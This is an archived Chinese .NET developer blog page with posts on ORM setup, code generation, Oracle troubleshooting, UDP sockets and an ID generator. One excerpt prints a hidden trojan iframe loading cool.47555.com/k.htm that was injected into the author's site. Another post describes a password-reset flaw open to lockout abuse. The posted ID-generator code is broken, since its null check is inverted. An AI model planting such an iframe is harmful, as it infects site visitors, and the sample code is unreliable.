浪淘沙

XSpin is blogged by xPilot & Janssen
posts - 18, comments - 157, trackbacks - 0, articles - 1
  博客园 :: 首页 :: 新随笔 :: 联系 :: 订阅 订阅 :: 管理

2007年3月18日

     摘要: 突然一天打开自己的网站被瑞星杀出个特洛伊来,xPilot的麦咖啡也查到了,仔细检查服务器上自己写的代码并没有什么可疑的地方,看着都是自己写的,再看看发送过来的网页代码,发现被嵌入了一个<iframe>:<iFrAmESRc=http://cool.47555.com/k.htmwidth=1height=1frameborder=0></IfRaMe>一看就估计... 阅读全文

posted @ 2007-03-18 20:02 浪淘沙 阅读(3582) | 评论 (10)编辑

2006年2月6日

下载样本

也许你正在为用CodeSmith或MyGeneration生成NHibernate、EasyObject、甚至是Php、jsp等和是数据库相关的东东,大量的代码是否头疼?为何不是试试看Dreamweaver呢?这个样本花费了1.5小时的时间,期间还包括了一些界面的设计。

步骤:

1.下载后放到IIS一个目录下,建虚拟目录也可以。请设置该目录为可以浏览目录,因为我没有做default或者index等默认页面。

2.修改目录下\connections\bbt.asp中的连接字符串为你需要的方式。

3.浏览器上通过http://localhost/cg/***.asp打开该目录下entity_generator.asp文件(看其他也可以,不过没做好),点击左边的表名就能看结果了:)

条件:

1.程序方面要了解一门Dreamweaver支持的语言(asp,php,jsp,cfm...),知道如何用DW来做动态网页(连接数据库、记录集、循环区域、参数 获取等常见的几个操作),这里我用asp

2.数据库方面理论上支持你熟悉的支持ODBC和OLDDb的数据库,并且要知道获取数据库架构信息的方法(sqlserver中可以读取系统表、读取information_schema、还有一个记不清名称;oracle、mysql等也有相应的方法)

3.掌握一项你要生成的目标代码的写法,哪些是公共的,哪些和字段有关,哪些可以如何如何,不要怕代码量大,因为Dreamweaver能帮你完成,你需要做的就是设计一套填空题让Dreamweaver来做。

4.然后就像快速开发一个新闻页面 或是论坛页面一样,96%的代码都是DW帮你搞定!先不要管DW生成的代码是否垃圾 或多余,但是它可以完成这种最基本的功能:理论上大多数语言、大多数数据库。

5.用熟悉了就可以对这套程序进行重构,封装,像李天平、非非、听棠等人一样发布到cnblogs,然后开源一把过过瘾。他们的东东我都测试过,但是都是很死板的代码,不如codesmith强大,可codesmith开发模板工作量也不小,希望有谁能将这些工具好好重构一下发扬光大。

我认为:工具维护软件比复杂的设计架构来得方便!

posted @ 2006-02-06 16:39 浪淘沙 阅读(645) | 评论 (2)编辑

2005年10月23日

晚上花了两个小时时间,配置了一个Gentle并研究了一下。
版本:Gentle v1.2.6 下载页面http://sourceforge.net/project/showfiles.php?group_id=102032
下载的是完整版本,包含生成测试、文档、源码、输出、CodeSmith和MyGeneration代码模板,默认配置模板,这个小巧的DBRM工具基本上五脏俱全了。

步骤:
一.配置
在配置目录(Configurations)中有两个已经写好了的配置文件:
App.config
Gentle.config
Gentle官方文档声称可以只使用app.config或者web.config来配置,也可以单独写在一个Gentle.config文件中,我图省事,就将配置代码复制到自己的app.config(Asp.net中为web.config)中去了:

 

xml version="1.0" encoding="utf-8"?>
    
<configuration>
      
<appSettings>
        ... 原有appSettings配置
      
appSettings>

      
<configSections>
       {这里放入gentle和log4net的配置节
<section name= ... .../>
      
configSections>

      
<gentle>
       {复制gentle配置节的具体内容}
      
gentle>
      
<log4net>
       {复制log4net配置节的具体内容}
      
log4net>
configuration>

1.选择自己需要的是哪种数据库,Gentle支持MSSQL、Oracle、MySql、Sybase、SqlLite等多种数据库,它为每种数据库配置在注释中写了一份配置信息,只需要将注释去调,并将其它类型数据库配置信息用注释起来即可,默认的是SQLServer,
设置连接字符串:

<DefaultProvider name="SQLServer" connectionString="这里写上SqlServer的连接字符串" />

2.配置日志记录
默认的配置已经为你写好了,如果不想做日志记录可以在gentle配置节中的logging中将其关闭,注释中已经写得很清楚了,子节点Category设置一下属性:
                   
并将其它Category子节点删除或注释掉。

3.添加引用
在应用程序中添加对下面程序集的引用:
Gentle.Common.dll
Gentle.Framework.dll

添加一个数据库引擎,我使用SQLServer,所以用这个
Gentle.Provider.SqlServer

添加一个日志记录引擎(也可以用另外一个引擎QuickGraph.*.dll大家可以试试看)
log4net.dll

OK。至此配置完毕
二.程序
1.数据实体
在Contributions目录中包含了一些生成代码的模板,有CodeSmith的,也有MyGeneration的,这里我用CodeSmith。
用CodeSmith打开GentleBusinessObject.cst文件

设置以下属性:(以Northwind的Categories表为例)

context类属性
ClassName:Category,生成类名
ColumnPreString:无,(要去除的列名的前缀,比如一些设计者喜欢用cat_catid,将cat_去掉)
ForceFirstLetterOnly:True(强制只将公开属性首字母大写)
ForcePrivateLowercase:True(强制私有变量首字母小写)
ForcePublicCapitalize:True(强制大写)
RemoveUnderscore:True(去掉下划线)
SourceTable:dbo.Category(表名)
VariablePreChar:不设置(加上前缀,默认为_)

NameSpace:输入命名空间(默认为数据库名)

可选设置:
Collections:None|ArrayList|xxxCollection(返回集合时可设置使用,还能使用CodeSmith的ArrayList.cst模板生成强类型集合,但是我看了cst的源码发现作者不推荐,不知道为何
IncludeListAll:True|False(获取全部数据集合,前提是上面Collection 不能为None)
IncludeVSSHeader:True(是否包含VSS头信息)
ListByString:True(是否为每个字符型列生成ListByXXXStartsWith方法)
ObjectsForForeighKeys:False (是否为每一个外键引用对象生成为延迟加载(lazy-loaded)属性)

完毕后点“Generate”在右边查看生成结果:

/*
 * $Id: $
 *  This file generated by CodeSmith on 2005年10月23日
 
*/
/*
 * Template to generate a Gentle compatible business object from the database
 * Copyright (C) 2004 Roger Hendriks, www.fenetre.nl & James M. Curran, www.noveltheory.com
 *
 * This library is free software; you can redistribute it and/or modify it
 * under the terms of the GNU Lesser General Public License 2.1 or later, as
 * published by the Free Software Foundation. 
http://www.gnu.org/copyleft/lesser.html for details.
 *
 
*/

using System;
using
 Gentle.Framework;

namespace
 TestNameSpace
{
 
#region Category

 
/// 
 
/// TODO add description of Category here.
 
/// 

 [Serializable]
 [TableName(
"Categories"
)]
 
public class
 Category : Persistent
 {
  
#region Private member data

  [TableColumn(
"CategoryID", NotNull=true), PrimaryKey(AutoGenerated=true) ]
  
protected int
 categoryID;
  [TableColumn(
"CategoryName", NotNull=true
) ]
  
protected string categoryName =
 String.Empty;
  [TableColumn(
"Description"
) ]
  
protected string description =
 String.Empty;
  [TableColumn(
"Picture"
) ]
  
protected byte
[] picture;
  
#endregion


  
#region Constructors
  
/// 
  
/// Create  Category from existing/full data set (used by the data layer).
  
/// 

  public Category( int categoryID, string categoryName, string description, byte[] picture ) : basetrue ) 
  {
   
this.categoryID =
 categoryID;
   
this.categoryName =
 categoryName;
   
this.description =
 description;
   
this.picture =
 picture;

  }
  
/// 

  
/// Select an existing Category given its unique identifier
  
/// 

  static public Category Retrieve( int categoryID )
  {
   Key key 
= new Key( typeof(Category), true"categoryID"
, categoryID );
   
return Broker.RetrieveInstance( typeof(Category), key ) as
 Category;
  }
  
#endregion

  
  
#region Public Properties
  
/// 
  
///
 Id accesses the CategoryID column of the Categories table.
  
///
  This is the Identity column for the Table. It can only be read.
  
///

  public int Id 
  {
   
getreturn
 categoryID; }
  }
  
  
///
 
  
///
 CategoryName accesses the CategoryName column of the Categories table.
  
///

  public string CategoryName 
  {
   
getreturn
 categoryName; }
   
set{ categoryName =
 value; }
  }
  
  
///
 
  
///
 Description accesses the Description column of the Categories table.
  
///

  public string Description 
  {
   
getreturn
 description; }
   
set{ description =
 value; }
  }
  
  
///
 
  
///
 Picture accesses the Picture column of the Categories table.
  
///

  public byte[] Picture 
  {
   
getreturn
 picture; }
   
set{ picture =
 value; }
  }
  
  
#endregion



  
/// TODO: Add Properties for Many-to-Many Relationship here.
  
///
       (Note, they are included as comments in the class file for the linking table)
  
///
 
 
    
 }
 
#region CodeSmith Parameters

 
// The follow parameters were used with CodeSmith to create this file:
 
//

 
// SourceTable : dbo.Categories
 
//
 ClassName: Category
 
//
 Namespace: TestNameSpace
 
//
 VariablePreChar: 
 
//
 ColumnPreString: 
 
//
 ForcePrivateLowercase: True
 
//
 ForcePublicCapitalize: True
 
//
 RemoveUnderscore: True
 
//
 IncludeVSSHeader: True
 
//
 ListByString: True
 
//
 ObjectsForForeignKeys: True
 
//
 IncludeListAll: True
 
// Collections: None

 
 
#endregion

 
 
#endregion Category
}


是不是很酷?它并不需要像NHibernate那样还得写一个*.hbm.xml文件,尽管那也可以用工具生成代码,但我总觉得NHibernate的这种做法有点多余。同样的内容要写两个地方感觉不好


2.操作

有了Category数据实体后,便可以对其进行操作,一个简单的操作例子:

Category category = new Category();//注意Northwind的Category中CategoryID是自增长字段,category不论你设置为什么值,插入记录后都变为实际编号
Gentle.Framework.Broker.Insert(category);//插入记录

//声明一个Key,这里使用CategoryID列

Gentle.Framework.Key key = new Key(typeof(Category),true,"CategoryID",4);
//读取对象

Category category = Gentle.Framework.Broker.RetrieveInstance(typeof(Category),key) as Category;
//读取对象也可以这么写,注意如果获取不到记录会抛出异常

Category category = (Category)Gentle.Framework.Broker.RetrieveInstance(typeof(Category),key);


其它,可以通过Gentle读取单个实体,也可以读取父/子对象,支持列表读取、分页读取、结果可以自动缓存也可以手动缓存等,功能还是比较完善的,我暂时还没发现对于主键的生成有哪些支持,毕竟只用了一个晚上,好多功能慢慢发掘吧,休息了。

posted @ 2005-10-23 21:01 浪淘沙 阅读(2583) | 评论 (5)编辑

2005年10月21日

在Winform中编程要打开XP风格的方法不外乎是使用manifest文件和Application.EnableVisualStyle()方法(MSDN里面都有详细介绍),但是使用Image属性的控件都将无法显示图片了,不爽,不知道除了DIY和第三方控件还有谁能想到一些解决办法

posted @ 2005-10-21 20:10 浪淘沙 阅读(884) | 评论 (3)编辑

2005年9月1日

     摘要: 前文一个ID生成器的确简单,不能解决并发带来的重复性问题。这里完整地写一个ID生成器。其中做了一些并发问题的处理。原理:获取系统时间,并在其后加上一个随机数sample:将IdentityGenerator实例化后可直接获取Embacle.Identity.IdentityGenerator ig = new Embacle.Identity.IdentityGenerator();long id... 阅读全文

posted @ 2005-09-01 19:23 浪淘沙 阅读(2720) | 评论 (11)编辑

2005年8月30日

帮一个朋友导数据时就发生自动编号的主键发生重复,花了我大半天的时间。累死了。给他们写了一个小工具,生成时间戳的代码:

public class IdentityGenerator{
    
private static Random random;
    
public static long GetIdentity(){
        
long id = (DateTime.Now.Ticks-(new DateTime(2000,1,1,0,0,0)))/1000000;//1000000精确到秒,要更精确,比如到100毫秒可再减少数字
        if(random!=null)
            random 
=  new Random();

       id 
= id * 1000 + random.Next(0,1000);//取3位随机数
       return id;
    }

}
经过一个压力测试:可以保证1秒钟至少生成1000个Id不重复。代码仅作参考。这里我没有检查正确性。仅仅例子而已。真实的代码大概有这个的三四倍吧。


使用方法:
直接调用IdentityGenerator.GetIdentity()

如果使用数据实体的化可以设计一个基类
 1 public class BaseData{
 2     private long _identity;
 3     public class BaseData(){
 4         this._identity = IdentityGenerator.GetIdentity();
 5     }
 6     //继承后在实体中定义其属性名,返回 或设置该值,如果名字相同可以将其改为public
 7     protected long Identity{
 8         get{return this._identity;}
 9         set{
10             if(this._identity!=value)
11                 this._identity = value;
12         }
13     }
14     //重新设置Id
15     public void ResetIdentity(){
16         this._identity = IdentityGenerator.GetIdentity();
17     }
18 
19 }


简单才好!
优点:使用bigint型字段、比Guid好看些,大范围内是按顺序排列的,基本不会在前面的序列插入,短时间内(1秒钟)可能有无序产生,不过影响不是太大。简单省事
缺点:仍然存在重复的可能性,对于并发处理量超大的请仔细斟酌再三考虑。

仍然有人批评生成的3214578921之类的id太难看了,而且长:(
我想对于在浏览器上靠猜测
view.aspx?id=124下一个帖子125是什么的人可能不管用了,因为相邻两个id间距不等,至少也有好几千的:)可以起到 一个保护性作用吧。

裸机里面用记事本敲代码真麻烦,到此为止吧。

posted @ 2005-08-30 14:44 浪淘沙 阅读(3255) | 评论 (19)编辑

2005年6月5日

尝试了一遍又一遍,终于找到了博客园账号的注册信箱和密码,窃喜之余发现一个逻辑上的Bug:
1.以测试为名,在博客园中进入“忘记密码”,输入了正确的账号和油箱,发送新密码成功;
2.如果一时半会儿想不起来油箱的密码,就没有进入油箱查看密码;
3.这时候原来的密码已经被永久性重置为发送到油箱中的密码了,如果我永远都进入不了这个油箱,那么我就永远无法使用这个账户,Faint,小小的测试玩笑害得我为此半年多不能进入后台
建议:“忘记密码”那里不要直接修改密码,而是用发送一个修改密码的地址的方式更好,并设置一个期限,超过多少天内就失效,这样比较合理一点。

要是我知道某人的账号(地址上有)和信箱(正好就是他的联系方式使用的),要搞恶作剧的话岂不是弄出很多麻烦?

posted @ 2005-06-05 12:40 浪淘沙 阅读(504) | 评论 (0)编辑

2004年9月1日

由于项目要求,公司需要把一些项目的数据库转移成Oracle,而原来几乎都是使用SqlServer的。突然间发现,2~3年的SqlServer开发和使用经验,其实并没有给我学习Oracle带来多少优势,相反在初学Oracle的时候,还经常被缠绕在脑中的SqlServer的很多模式所困扰。Oracle是一个系统而庞大的平台,其实已经不仅仅只是一个数据库那么简单了。所以对我来说,无论是其管理还是开发,几乎都是全新的。由此,也就只能卸下SqlServer的包袱,对Oracle,慢慢来吧...

这里记录下一些我在初学Oracle时遇到一些问题。有些问题可能比较菜一些,也过于杂乱,不过权给自己做个Oracle的学习笔记罢了。

by xpilot 2004/9/1

1.安装Oracle后,更改Windows计算机名,导致部分Oracle第三方工具,如:PLSQL
Developer无法登陆,并提示ORA-12541:TNS:no listener或ORA-12547:TNS:丢失联系等错误信息的解决方法。

答:从Oracle的错误提示来看,是说TNS:no listener ,估计是某种服务没有启动,打开windows管理工具->服务,一看,有一个OracleOraHome90TNSListener这样的服务,和错误信息题是一致,基本就可以肯定是这个服务所引发的问题。再一看,该服务没有启动,遂手工启动,刷新后一看,该服务居然马上就自动关闭了。重试N次,结果一样。到Google搜索看看,没想到这还是一个普遍的问题,有一个人提出,把安装目录下的listener.ora打开察看。如:d:\oracle\ora90\network\admin\listener.ora。
打开该配置文件后发现如下一段配置信息:
LISTENER =
  (DESCRIPTION_LIST =
    (DESCRIPTION =
      (ADDRESS_LIST =
        (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC0))
      )
      (ADDRESS_LIST =
        (ADDRESS = (PROTOCOL = TCP)(HOST = local)(PORT = 1521))
      )
    )
  )
 
当看到这一行HOST=local 的时候,问题解决了。原来是由于几天装好Oracle后,又改了Windows的计算机名,而这个配置文件中记录的监听主机名还是原来的名称,这也就怪不得,OracleOraHome90TNSListener服务无法启动了,马上修改为现在的计算机名,再次启动OracleOraHome90TNSListener服务成功,PL/SQL Developer连接Oracle数据库成功,不能登陆故障排除。

总结:Oracle比较强调手动功能调整,将一些配置信息放置在配置文件中。不像SqlServer一样,几乎把任何信息都放在注册表中,当然了这也符合Oracle作为一个跨平台数据库的精神。但对初学者来说,确有一定难度,不像SqlServer那么“傻瓜”,再解决这个问题时,差点又重装一次Oracle,看来遇到问题多Google多分析,还是屡试不爽的。

posted @ 2004-09-01 13:43 浪淘沙 阅读(2675) | 评论 (3)编辑

终于看到MSDN中文站上出现了Scott Mitchell 的Url Rewriting in ASP.NET那篇文章的翻译,太好了,可以和自己原先翻译的进行一下对比,这样可以增加一下英文的功底了吧。

英文原文:http://msdn.microsoft.com/library/en-us/dnaspp/html/urlrewriting.asp
MSDN的翻译:http://www.microsoft.com/china/msdn/library/webservices/asp.net/URLRewriting.mspx
俺的翻译:http://www.cnblogs.com/xspin/articles/30788.aspx


--Janssen

posted @ 2004-09-01 12:56 浪淘沙 阅读(1456) | 评论 (0)编辑

2004年8月20日

  1. 黑名单里头选择添加坏人名单,输入自己的QQ号码
  2. 把这个QQ号码拖到好友目录里去,如果出现验证的就通过验证
  3. 选择加入的好友目录,一切OK,看看有什么?

自己把自己加入啦,没事自己给自己发信息吧。

posted @ 2004-08-20 13:55 浪淘沙 阅读(4870) | 评论 (22)编辑

博客园和博客堂好像是同一个服务器,要挂都是同时挂
前几天博客园出错,紧接着无法访问,接着Joycode也连不上了

posted @ 2004-08-20 09:50 浪淘沙 阅读(741) | 评论 (1)编辑

2004年8月18日

最近一直在研究C#的套接字编程,发现弄来弄去.NET的System.Net.Sockets类几乎已经把整个.NET的网络开发给封装的严严实实了。当然,好处是开发网络应用程序速度快效率高,但是同时也阻止了我们继续向下挖掘的更深层次网络通讯原理的脚步了。我认为作为一般的网络程序员,倒是没必要非要把TCP/IP搞个精通,但话又说回来,要是这些底层的东西一点不懂,要想开发出好的网络应用程序,也不是件易事。有鉴于此,准备深入的分析一下当前一些流行的协议,那么......既然如此,手中就必须要有把网络包协议分析的快刀才行啊!虽然说这类工具网络上到处都是,但都不令人满意,windump?一看就头大,虽说我也是从Dos的过来人,但是看到那100多个Dos命令参数,faint!后来居然发现一个非常好的GUI分析工具Ethereal,看看它的help居然是Open Source的,这个软件到手差不多使用了一个多星期,目前几乎所有的网络协议该软件都可以识别并加以分析,功能超强,好东西不敢独享所以推荐给大家。这东西对很多偶尔做做hacker的朋友,也是不错的:)

下载地址:http://www.ethereal.com/docs/

SourceForge项目地址:http://sourceforge.net/projects/ethereal/

(已根据灵感之源的提示修正了连接:)

posted @ 2004-08-18 17:17 浪淘沙 阅读(2521) | 评论 (3)编辑

2004年8月16日

一个.NET的开源项目,使用C#语言。对于不太喜欢目前.NET v1.1的System.Web.Mail的朋友来说,是一个不错的选择,其支持认证SMTP的方式比System.Web.Mail要来的方便的多。目前的版本已经相对稳定了,当然可能压力方面还有待改进,因为我看了它的源码发现,几乎所有的集合(邮件地址,附件)等等,作者都使用ArrayList,对于.NET v1.1的ArrayList来说,目前我还是不敢过多的使用,毕竟消耗资源确实是大了点,不知道这个组件如果商用的话,会不会发生性能问题?

目前我已经用这个组件做个一个自己专用的Winfrom邮件收发软件,功能界面几乎模仿目前最成功的Foxmail,自娱自乐一吧:),不过附件较大的时候,有时会出现Error,而且由于网络原因或附件尺寸过大的话,直接发送邮件会阻塞,所以线程调用还是必要的。

看了其代码,感觉写的是很规范的,开源就是好啊,掌握了一些rfc标准的知识,确实与只会调用调用组件的方法比起来对邮件系统认识来的深刻的多。

地址:http://sourceforge.net/projects/opensmtp-net/

posted @ 2004-08-16 08:59 浪淘沙 阅读(3843) | 评论 (15)编辑

2004年8月13日

最近准备利用.NET的套接字开发一个类似QQ的IM组件,先写了一个Udp信息收发静态类!也不是很完善,暂时先储备着,以后重构用!

using System;
using System.Net;
using System.Net.Sockets;
using System.Text;

namespace XChatLib
{
    
/// <summary>
    
/// MessageUtility 消息工具类,该类是一个静态工具类。
    
/// </summary>

    public class MessageUtility
    
{

        
//缺省端口号
        private const int DEFAULT_PORT = 9050;

        
private MessageUtility()
        
{
            
//
            
// TODO: 在此处添加构造函数逻辑
            
//
        }


        
//发送消息方法
        public static void SendMessage(string msg)
        
{
            
byte[] data = new byte[1024];
            
//本机主机信息
            IPHostEntry host = Dns.GetHostByName(Dns.GetHostName());

            
//端口号参数以后重构时可以做成一个方法从配置文件中读取端口号
            IPEndPoint ipep = new IPEndPoint(host.AddressList[0], DEFAULT_PORT);

            
//创建一个udp套接字
            Socket server = new Socket(AddressFamily.InterNetwork,
                SocketType.Dgram, ProtocolType.Udp);

            
if(msg.Length != 0)
            
{
                data 
= Encoding.Unicode.GetBytes(msg);
                
try
                
{
                    server.SendTo(data, data.Length, SocketFlags.None, ipep);
                }

                
catch(SocketException){}
                
finally
                
{
                    server.Close();
                }


            }


        }


        
//接受消息方法
        public static string ReceiveMessage()
        
{
            
int recv;
            
byte[] data = new byte[1024];

            
//创建一个随机终结点对象
            IPEndPoint ipep = new IPEndPoint(IPAddress.Any, DEFAULT_PORT);

            
//创建一个Udp套接字
            Socket newsock = new Socket(
                AddressFamily.InterNetwork,SocketType.Dgram,    ProtocolType.Udp);

            
//将随机终结点与Udp套接字绑定,以等待流入的数据包
            newsock.Bind(ipep);

            
//创建一个接受任意发送者的终结点
            IPEndPoint sender = new IPEndPoint(IPAddress.Any, 0);
            EndPoint tmpRemote 
= (EndPoint)(sender);

            
try
            
{
                recv 
= newsock.ReceiveFrom(data, ref tmpRemote);
                
return Encoding.Unicode.GetString(data,0,data.Length);
            }

            
catch(SocketException)
            
{
                
return null;
            }

            
finally
            
{
                newsock.Close();
//关闭套接字释放资源
            }


        }


    }

}

posted @ 2004-08-13 17:37 浪淘沙 阅读(1444) | 评论 (4)编辑

2004年8月12日

9月份就要辞职和MM一起读研究生了,重新过上清贫的生活,工作三年的确感触颇深,一定要用这三年的时间把自己的英语和基础知识补上,不虚此行。

2月份考完试顺势翻译的关于URL Rewriting的资料,一直都不敢贴上来,看得太多翻译糟糕和被骂的口水话,不过还是硬着头皮和xPilot申请一个公用Blog,壮壮胆贴了出来,居然被收藏了N多,感觉颇有成就感!:)hoho,好像有点自大了?还是应该谦虚一下吧......

现在对Blog得出一个结论,这是一个共同分享和抒发自己内心所想之事(人、物、Code等),就好好用吧!

昨天晚上看了一小会儿《C#类库设计手册》发现自己真的缺乏很多基础性的知识。
这次理解了浅表副本和深层副本的区别,的确有些代码看似没错,但是稍加改动就能提高一些性能了,如:
//获取一个浅表副本
public GetDataSet1(){
    DataSet ds 
= new DataSet();
    
//填充一个DataSet,省略


    
return ds.Clone();
}


//获取一个深层副本
public GetDataSet2(){
    DataSet ds 
= new DataSet();
    
//填充一个DataSet,省略


    
return ds;
}

假如ds是一本书,GetDataSet()是借书的操作,那么看看这两个区别:
    获取浅表副本就是把这本书直接接给读者(GetDataSet1()
    获取深层副本就是把这本书留着(或者销毁),抄写一份给读者(GetDataSet2())
我想直接把书借给读者总比抄给读者性能要高吧。系统再快也有这些细微的性能上的差异,以后要注意了

中国女足0:8输给德国,真是哭笑不得.

posted @ 2004-08-12 08:13 浪淘沙 阅读(1396) | 评论 (9)编辑

2004年8月6日

文章地址:http://www.cnblogs.com/xspin/articles/30788.aspx

posted @ 2004-08-06 15:35 浪淘沙 阅读(1311) | 评论 (6)编辑

关注Blog很长一段时间,却一直没一个属于自己的Blog。本以为也无所谓,毕竟上网久了,当初办homepage,回复网友bbs的激情,不知不觉消退无影。

渐趋平淡而波澜不惊的生活中偶遇Blog这种新的交流方式。俗话说人以类聚,物以群分,走出Internet初期那种人人homepage,个个bbs式泛而全的交流方式,现在确实到了需要专而精的类聚式的交流,正好在老同事Janssen的提议下,合作一个Blog。

Blog,无非心得与体会,我和Janssen都专注于.NET方向,希望共同进步,合创一个目标明确的未来。

敬以此篇作为本Blog开篇 by xPilot

posted @ 2004-08-06 09:22 浪淘沙 阅读(706) | 评论 (0)编辑

2004年8月5日

公共目录一起维护,两个私人目录嘛,互不干涉嘎。

by Janssen

posted @ 2004-08-05 17:45 浪淘沙 阅读(732) | 评论 (0)编辑